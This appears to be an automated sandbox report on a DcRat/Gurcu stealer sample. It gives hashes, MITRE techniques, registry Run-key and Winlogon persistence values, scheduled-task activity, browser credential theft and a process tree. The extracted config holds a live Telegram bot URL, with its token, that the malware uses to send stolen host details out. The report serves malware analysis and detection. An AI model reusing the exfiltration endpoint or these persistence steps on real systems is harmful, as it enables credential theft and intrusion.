dcrat | f9e0afec65e6aeb4af35617e7967b028a77e6b5c10de2b7b064e9337d8f1ef4d

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
31-08-2024 01:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
Size

1.7MB
MD5

1d98bb52c2eeac75f2e83e8b0b88459f
SHA1

ab0db0eca10717ad295b4c015db9d51c20bda41d
SHA256

6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d
SHA512

bb05cf51b6b7b4318bf81b9cc5831e558018d7f2347429ca4513454f06ff3ba5c77b90f82fe533dd5ca60139b059daf65d752b5648c702d2ff4af6e648421e26
SSDEEP

24576:1v/SzhQO98aL85esKGpBAYMygXEO9rjZfyfs9o+cayR4k4m2WVux/Egw/u:1v/ScA8oGAv5/c14rvuZx

Score

10^/10

dcrat gurcu credential_access discovery infostealer persistence rat spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot7003920761:AAHa5M8QU-hSplH3Y14DWsBpJC5f2Uf6e-I/sendPhoto?chat_id=5941973081&caption=%D0%90%D0%9B%D0%9E%20%D0%91%D0%9E%D0%91%D0%81%D0%A0%20%D0%9D%D0%90%20%D0%A0%D0%90%D0%A2%D0%9A%D0%95%0A%E2%80%A2%20ID%3A%203d8e5917fe2dd0ce7004da6939535cb2d9b7f569%0A%E2%80%A2%20Comment%3A%20%0A%0A%E2%80%A2%20User%20Name%3A%20Admin%0A%E2%80%A2%20PC%20Name%3A%20PVMNUDVD%0A%E2%80%A2%20OS%20Info%3A%20Windows%2010%20Pro%0A%0A%E2%80%A2%20IP%3A%20194.110.13.70%0A%E2%80%A2%20GEO%3A%20GB%20%2F%20London%0A%0A%E2%80%A2%20Working%20Directory%3A%20C%3A%5CUsers%5CDefault%5CPrintHood%5Cfontdrvhost.ex

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Modifies WinLogon for persistence 2 TTPs 4 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default\\PrintHood\\fontdrvhost.exe\", \"C:\\Users\\Default\\Desktop\\StartMenuExperienceHost.exe\""	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default\\PrintHood\\fontdrvhost.exe\", \"C:\\Users\\Default\\Desktop\\StartMenuExperienceHost.exe\", \"C:\\Program Files\\dotnet\\host\\backgroundTaskHost.exe\""	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default\\PrintHood\\fontdrvhost.exe\", \"C:\\Users\\Default\\Desktop\\StartMenuExperienceHost.exe\", \"C:\\Program Files\\dotnet\\host\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\""	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Default\\PrintHood\\fontdrvhost.exe\""	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe

Process spawned unexpected child process 12 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2876	2260	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2180	2260	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1264	2260	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1944	2260	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3840	2260	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	224	2260	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4764	2260	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4424	2260	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4240	2260	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4352	2260	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4592	2260	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4652	2260	schtasks.exe

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

DCRat payload 4 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

Processes:

resource	yara_rule
behavioral2/memory/908-1-0x0000000000720000-0x00000000008D8000-memory.dmp	dcrat
C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\fontdrvhost.exe	dcrat
C:\Users\Default\Desktop\RCX8D51.tmp	dcrat
C:\Program Files\dotnet\host\backgroundTaskHost.exe	dcrat

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exefontdrvhost.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	fontdrvhost.exe

Executes dropped EXE 1 IoCs

Processes:

fontdrvhost.exe

pid process

4476 fontdrvhost.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
4476	fontdrvhost.exe

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Users\\Default\\PrintHood\\fontdrvhost.exe\""	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Users\\Default\\PrintHood\\fontdrvhost.exe\""	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\StartMenuExperienceHost = "\"C:\\Users\\Default\\Desktop\\StartMenuExperienceHost.exe\""	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\StartMenuExperienceHost = "\"C:\\Users\\Default\\Desktop\\StartMenuExperienceHost.exe\""	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\backgroundTaskHost = "\"C:\\Program Files\\dotnet\\host\\backgroundTaskHost.exe\""	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\backgroundTaskHost = "\"C:\\Program Files\\dotnet\\host\\backgroundTaskHost.exe\""	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer = "\"C:\\Recovery\\WindowsRE\\explorer.exe\""	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer = "\"C:\\Recovery\\WindowsRE\\explorer.exe\""	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

33 ipinfo.io
34 ipinfo.io

flow	ioc
33	ipinfo.io
34	ipinfo.io

Drops file in Program Files directory 5 IoCs

Processes:

6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe

description	ioc	process
File opened for modification	C:\Program Files\dotnet\host\RCX8FE3.tmp	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
File opened for modification	C:\Program Files\dotnet\host\backgroundTaskHost.exe	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
File created	C:\Program Files\dotnet\host\backgroundTaskHost.exe	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
File created	C:\Program Files\dotnet\host\eddb19405b7ce1	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
File opened for modification	C:\Program Files\dotnet\host\RCX8F65.tmp	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 2 IoCs

Processes:

6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exefontdrvhost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000_Classes\Local Settings	fontdrvhost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
4652	schtasks.exe
1264	schtasks.exe
224	schtasks.exe
4424	schtasks.exe
4240	schtasks.exe
4764	schtasks.exe
4352	schtasks.exe
4592	schtasks.exe
2876	schtasks.exe
2180	schtasks.exe
1944	schtasks.exe
3840	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exefontdrvhost.exe

pid	process
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe
4476	fontdrvhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

fontdrvhost.exe

pid process

4476 fontdrvhost.exe

pid	process
4476	fontdrvhost.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

Processes:

msedge.exe

pid	process
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exefontdrvhost.exe

description	pid	process
Token: SeDebugPrivilege	908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
Token: SeDebugPrivilege	4476	fontdrvhost.exe

Suspicious use of FindShellTrayWindow 25 IoCs

Processes:

msedge.exe

pid	process
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

Processes:

msedge.exe

pid	process
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.execmd.exefontdrvhost.exemsedge.exe

description	pid	process	target process
PID 908 wrote to memory of 4556	908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe	cmd.exe
PID 908 wrote to memory of 4556	908	6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe	cmd.exe
PID 4556 wrote to memory of 3132	4556	cmd.exe	w32tm.exe
PID 4556 wrote to memory of 3132	4556	cmd.exe	w32tm.exe
PID 4556 wrote to memory of 4476	4556	cmd.exe	fontdrvhost.exe
PID 4556 wrote to memory of 4476	4556	cmd.exe	fontdrvhost.exe
PID 4476 wrote to memory of 2880	4476	fontdrvhost.exe	WScript.exe
PID 4476 wrote to memory of 2880	4476	fontdrvhost.exe	WScript.exe
PID 4476 wrote to memory of 1784	4476	fontdrvhost.exe	WScript.exe
PID 4476 wrote to memory of 1784	4476	fontdrvhost.exe	WScript.exe
PID 4476 wrote to memory of 2952	4476	fontdrvhost.exe	msedge.exe
PID 4476 wrote to memory of 2952	4476	fontdrvhost.exe	msedge.exe
PID 2952 wrote to memory of 4228	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 4228	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 1088	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 4208	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 4208	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 4408	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 4408	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 4408	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 4408	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 4408	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 4408	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 4408	2952	msedge.exe	msedge.exe
PID 2952 wrote to memory of 4408	2952	msedge.exe	msedge.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe
"C:\Users\Admin\AppData\Local\Temp\6cb8969c2e226f0597598198992dd4afd52d70ac83c187852d3cd872dd6b7a0d.exe"
1⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Adds Run key to start application
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\8FLB8gIG8n.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4556
- - C:\Windows\system32\w32tm.exe
    w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
    3⤵
    PID:3132
- - C:\Users\Default\PrintHood\fontdrvhost.exe
    "C:\Users\Default\PrintHood\fontdrvhost.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4476
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f2461312-cf02-434a-80ca-1580796ac2da.vbs"
      4⤵
      PID:2880
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dfeabd11-02cb-4c25-a31f-e4924af5f169.vbs"
      4⤵
      PID:1784
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://localhost:12294/
      4⤵
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:2952
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbfa5046f8,0x7ffbfa504708,0x7ffbfa504718
        5⤵
        
        PID:4228
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2068,14287928969582118495,8129243448640696522,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2080 /prefetch:2
        5⤵
        
        PID:1088
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2068,14287928969582118495,8129243448640696522,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2472 /prefetch:3
        5⤵
        
        PID:4208
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2068,14287928969582118495,8129243448640696522,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2684 /prefetch:8
        5⤵
        
        PID:4408
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,14287928969582118495,8129243448640696522,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:1
        5⤵
        
        PID:2096
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,14287928969582118495,8129243448640696522,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
        5⤵
        
        PID:1792
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,14287928969582118495,8129243448640696522,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4972 /prefetch:1
        5⤵
        
        PID:3216
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,14287928969582118495,8129243448640696522,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3924 /prefetch:1
        5⤵
        
        PID:4128
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
